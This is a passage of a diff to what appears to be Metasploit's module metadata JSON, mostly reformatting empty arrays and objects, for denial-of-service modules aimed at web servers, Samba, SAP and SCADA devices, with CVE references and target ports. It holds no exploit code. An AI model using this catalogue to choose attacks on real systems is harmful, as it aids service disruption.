"post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/apache_commons_fileupload_dos": { "name": "Apache Commons FileUpload and Apache Tomcat DoS", "fullname": "auxiliary/dos/http/apache_commons_fileupload_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-06", "type": "auxiliary", @@ -13933,20 +12207,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/apache_mod_isapi": { "name": "Apache mod_isapi Dangling Pointer", "fullname": "auxiliary/dos/http/apache_mod_isapi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-05", "type": "auxiliary", @@ -13967,12 +12236,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/http/apache_mod_isapi.rb", @@ -13981,20 +12246,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/apache_range_dos": { "name": "Apache Range Header DoS (Apache Killer)", "fullname": "auxiliary/dos/http/apache_range_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-19", "type": "auxiliary", @@ -14036,8 +12296,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -14054,9 +12313,7 @@ "auxiliary_dos/http/apache_tomcat_transfer_encoding": { "name": "Apache Tomcat Transfer-Encoding Information Disclosure and DoS", "fullname": "auxiliary/dos/http/apache_tomcat_transfer_encoding", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-09", "type": "auxiliary", @@ -14074,12 +12331,8 @@ "platform": "", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb", @@ -14088,20 +12341,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/brother_debut_dos": { "name": "Brother Debut http Denial Of Service", "fullname": "auxiliary/dos/http/brother_debut_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-11-02", "type": "auxiliary", @@ -14140,20 +12388,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/cable_haunt_websocket_dos": { "name": "\"Cablehaunt\" Cable Modem WebSocket DoS", "fullname": "auxiliary/dos/http/cable_haunt_websocket_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-01-07", "type": "auxiliary", @@ -14204,22 +12447,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/canon_wireless_printer": { "name": "Canon Wireless Printer Denial Of Service", "fullname": "auxiliary/dos/http/canon_wireless_printer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-18", "type": "auxiliary", @@ -14257,20 +12494,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/dell_openmanage_post": { "name": "Dell OpenManage POST Request Heap Overflow (win32)", "fullname": "auxiliary/dos/http/dell_openmanage_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-02-26", "type": "auxiliary", @@ -14287,12 +12519,8 @@ "platform": "", "arch": "", "rport": 1311, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/http/dell_openmanage_post.rb", @@ -14301,20 +12529,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/f5_bigip_apm_max_sessions": { "name": "F5 BigIP Access Policy Manager Session Exhaustion Denial of Service", "fullname": "auxiliary/dos/http/f5_bigip_apm_max_sessions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -14353,20 +12576,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/flexense_http_server_dos": { "name": "Flexense HTTP Server Denial Of Service", "fullname": "auxiliary/dos/http/flexense_http_server_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-09", "type": "auxiliary", @@ -14381,12 +12599,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/dos/http/flexense_http_server_dos.rb", @@ -14395,20 +12609,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/gzip_bomb_dos": { "name": "Gzip Memory Bomb Denial Of Service", "fullname": "auxiliary/dos/http/gzip_bomb_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-01-01", "type": "auxiliary", @@ -14423,12 +12632,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/http/gzip_bomb_dos.rb", @@ -14437,8 +12642,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -14451,9 +12655,7 @@ "auxiliary_dos/http/hashcollision_dos": { "name": "Hashtable Collisions", "fullname": "auxiliary/dos/http/hashcollision_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-28", "type": "auxiliary", @@ -14503,20 +12705,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ibm_lotus_notes": { "name": "IBM Notes encodeURI DOS", "fullname": "auxiliary/dos/http/ibm_lotus_notes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-08-31", "type": "auxiliary", @@ -14532,12 +12729,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-03-22 12:52:15 +0000", "path": "/modules/auxiliary/dos/http/ibm_lotus_notes.rb", @@ -14546,8 +12739,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -14560,9 +12752,7 @@ "auxiliary_dos/http/ibm_lotus_notes2": { "name": "IBM Notes Denial Of Service", "fullname": "auxiliary/dos/http/ibm_lotus_notes2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-08-31", "type": "auxiliary", @@ -14577,12 +12767,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/http/ibm_lotus_notes2.rb", @@ -14591,8 +12777,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -14605,9 +12790,7 @@ "auxiliary_dos/http/marked_redos": { "name": "marked npm module \"heading\" ReDoS", "fullname": "auxiliary/dos/http/marked_redos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -14646,20 +12829,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/metasploit_httphandler_dos": { "name": "Metasploit HTTP(S) handler DoS", "fullname": "auxiliary/dos/http/metasploit_httphandler_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-09-04", "type": "auxiliary", @@ -14697,20 +12875,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/monkey_headers": { "name": "Monkey HTTPD Header Parsing Denial of Service (DoS)", "fullname": "auxiliary/dos/http/monkey_headers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-30", "type": "auxiliary", @@ -14726,12 +12899,8 @@ "platform": "", "arch": "", "rport": 2001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/http/monkey_headers.rb", @@ -14740,20 +12909,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ms15_034_ulonglongadd": { "name": "MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service", "fullname": "auxiliary/dos/http/ms15_034_ulonglongadd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -14796,20 +12960,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/nodejs_pipelining": { "name": "Node.js HTTP Pipelining Denial of Service", "fullname": "auxiliary/dos/http/nodejs_pipelining", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-18", "type": "auxiliary", @@ -14828,12 +12987,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/http/nodejs_pipelining.rb", @@ -14842,20 +12997,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/novell_file_reporter_heap_bof": { "name": "NFR Agent Heap Overflow Vulnerability", "fullname": "auxiliary/dos/http/novell_file_reporter_heap_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-16", "type": "auxiliary", @@ -14893,20 +13043,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/rails_action_view": { "name": "Ruby on Rails Action View MIME Memory Exhaustion", "fullname": "auxiliary/dos/http/rails_action_view", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-04", "type": "auxiliary", @@ -14926,12 +13071,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/http/rails_action_view.rb", @@ -14940,20 +13081,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/rails_json_float_dos": { "name": "Ruby on Rails JSON Processor Floating Point Heap Overflow DoS", "fullname": "auxiliary/dos/http/rails_json_float_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-22", "type": "auxiliary", @@ -14994,20 +13130,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/slowloris": { "name": "Slowloris Denial of Service Attack", "fullname": "auxiliary/dos/http/slowloris", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-06-17", "type": "auxiliary", @@ -15027,12 +13158,8 @@ "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-29 00:51:56 +0000", "path": "/modules/auxiliary/dos/http/slowloris.py", @@ -15041,20 +13168,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/sonicwall_ssl_format": { "name": "SonicWALL SSL-VPN Format String Vulnerability", "fullname": "auxiliary/dos/http/sonicwall_ssl_format", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-05-29", "type": "auxiliary", @@ -15093,20 +13215,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/squid_range_dos": { "name": "Squid Proxy Range Header DoS", "fullname": "auxiliary/dos/http/squid_range_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-05-27", "type": "auxiliary", @@ -15149,9 +13266,7 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -15168,9 +13283,7 @@ "auxiliary_dos/http/tautulli_shutdown_exec": { "name": "Tautulli v2.1.9 - Shutdown Denial of Service", "fullname": "auxiliary/dos/http/tautulli_shutdown_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15208,20 +13321,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ua_parser_js_redos": { "name": "ua-parser-js npm module ReDoS", "fullname": "auxiliary/dos/http/ua_parser_js_redos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15261,20 +13369,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/webkitplus": { "name": "WebKitGTK+ WebKitFaviconDatabase DoS", "fullname": "auxiliary/dos/http/webkitplus", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-06-03", "type": "auxiliary", @@ -15294,12 +13397,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/http/webkitplus.rb", @@ -15308,8 +13407,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -15322,9 +13420,7 @@ "auxiliary_dos/http/webrick_regex": { "name": "Ruby WEBrick::HTTP::DefaultFileHandler DoS", "fullname": "auxiliary/dos/http/webrick_regex", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-08-08", "type": "auxiliary", @@ -15364,20 +13460,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/wordpress_directory_traversal_dos": { "name": "WordPress Traversal Directory DoS", "fullname": "auxiliary/dos/http/wordpress_directory_traversal_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15417,20 +13508,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/wordpress_long_password_dos": { "name": "WordPress Long Password DoS", "fullname": "auxiliary/dos/http/wordpress_long_password_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-20", "type": "auxiliary", @@ -15472,20 +13558,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/wordpress_xmlrpc_dos": { "name": "Wordpress XMLRPC DoS", "fullname": "auxiliary/dos/http/wordpress_xmlrpc_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-06", "type": "auxiliary", @@ -15528,20 +13609,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/http/ws_dos": { "name": "ws - Denial of Service", "fullname": "auxiliary/dos/http/ws_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15557,12 +13633,8 @@ "platform": "", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/dos/http/ws_dos.rb", @@ -15571,20 +13643,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/mdns/avahi_portzero": { "name": "Avahi Source Port 0 DoS", "fullname": "auxiliary/dos/mdns/avahi_portzero", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-11-14", "type": "auxiliary", @@ -15599,12 +13666,8 @@ "platform": "", "arch": "", "rport": 5353, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/mdns/avahi_portzero.rb", @@ -15613,20 +13676,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/mirageos/qubes_mirage_firewall_dos": { "name": "Mirage firewall for QubesOS 0.8.0-0.8.3 Denial of Service (DoS) Exploit", "fullname": "auxiliary/dos/mirageos/qubes_mirage_firewall_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-12-04", "type": "auxiliary", @@ -15642,12 +13700,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2023-02-05 12:04:59 +0000", "path": "/modules/auxiliary/dos/mirageos/qubes_mirage_firewall_dos.rb", @@ -15660,25 +13714,19 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/misc/dopewars": { "name": "Dopewars Denial of Service", "fullname": "auxiliary/dos/misc/dopewars", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-05", "type": "auxiliary", @@ -15694,12 +13742,8 @@ "platform": "", "arch": "", "rport": 7902, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/misc/dopewars.rb", @@ -15708,20 +13752,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/misc/ibm_sametime_webplayer_dos": { "name": "IBM Lotus Sametime WebPlayer DoS", "fullname": "auxiliary/dos/misc/ibm_sametime_webplayer_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-11-07", "type": "auxiliary", @@ -15740,12 +13779,8 @@ "platform": "", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb", @@ -15754,8 +13789,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -15772,9 +13806,7 @@ "auxiliary_dos/misc/ibm_tsm_dos": { "name": "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service", "fullname": "auxiliary/dos/misc/ibm_tsm_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-15", "type": "auxiliary", @@ -15790,12 +13822,8 @@ "platform": "", "arch": "", "rport": 11460, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/misc/ibm_tsm_dos.rb", @@ -15804,20 +13832,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/misc/memcached": { "name": "Memcached Remote Denial of Service", "fullname": "auxiliary/dos/misc/memcached", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15833,12 +13856,8 @@ "platform": "", "arch": "", "rport": 11211, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/misc/memcached.rb", @@ -15847,20 +13866,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/ntp/ntpd_reserved_dos": { "name": "NTP.org ntpd Reserved Mode Denial of Service", "fullname": "auxiliary/dos/ntp/ntpd_reserved_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-04", "type": "auxiliary", @@ -15877,12 +13891,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb", @@ -15891,20 +13901,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/pptp/ms02_063_pptp_dos": { "name": "MS02-063 PPTP Malformed Control Data Kernel Denial of Service", "fullname": "auxiliary/dos/pptp/ms02_063_pptp_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2002-09-26", "type": "auxiliary", @@ -15921,12 +13926,8 @@ "platform": "", "arch": "", "rport": 1723, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb", @@ -15935,20 +13936,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/rpc/rpcbomb": { "name": "RPC DoS targeting *nix rpcbind/libtirpc", "fullname": "auxiliary/dos/rpc/rpcbomb", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -15965,12 +13961,8 @@ "platform": "", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/rpc/rpcbomb.rb", @@ -15979,20 +13971,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/samba/lsa_addprivs_heap": { "name": "Samba lsa_io_privilege_set Heap Overflow", "fullname": "auxiliary/dos/samba/lsa_addprivs_heap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16023,20 +14010,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/samba/lsa_transnames_heap": { "name": "Samba lsa_io_trans_names Heap Overflow", "fullname": "auxiliary/dos/samba/lsa_transnames_heap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16067,20 +14049,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/samba/read_nttrans_ea_list": { "name": "Samba read_nttrans_ea_list Integer Overflow", "fullname": "auxiliary/dos/samba/read_nttrans_ea_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16114,20 +14091,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/sap/sap_soap_rfc_eps_delete_file": { "name": "SAP SOAP EPS_DELETE_FILE File Deletion", "fullname": "auxiliary/dos/sap/sap_soap_rfc_eps_delete_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16167,20 +14139,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/allen_bradley_pccc": { "name": "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", "fullname": "auxiliary/dos/scada/allen_bradley_pccc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -16193,39 +14160,30 @@ "references": [ "CVE-2017-7924", "URL-https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03", - "URL-https://dl.acm.org/doi/10.1145/3174776.3174780" + "URL-http://web.archive.org/web/20250116210051/https://dl.acm.org/doi/10.1145/3174776.3174780" ], "platform": "", "arch": "", "rport": 44818, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/dos/scada/allen_bradley_pccc.rb", "is_install_path": true, "ref_name": "dos/scada/allen_bradley_pccc", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/beckhoff_twincat": { "name": "Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS", "fullname": "auxiliary/dos/scada/beckhoff_twincat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-13", "type": "auxiliary", @@ -16242,12 +14200,8 @@ "platform": "", "arch": "", "rport": 48899, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/scada/beckhoff_twincat.rb", @@ -16256,20 +14210,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/scada/d20_tftp_overflow": { "name": "General Electric D20ME TFTP Server Buffer Overflow DoS", "fullname": "auxiliary/dos/scada/d20_tftp_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-19", "type": "auxiliary", @@ -16284,12 +14233,8 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-01-28 10:35:25 +0000", "path": 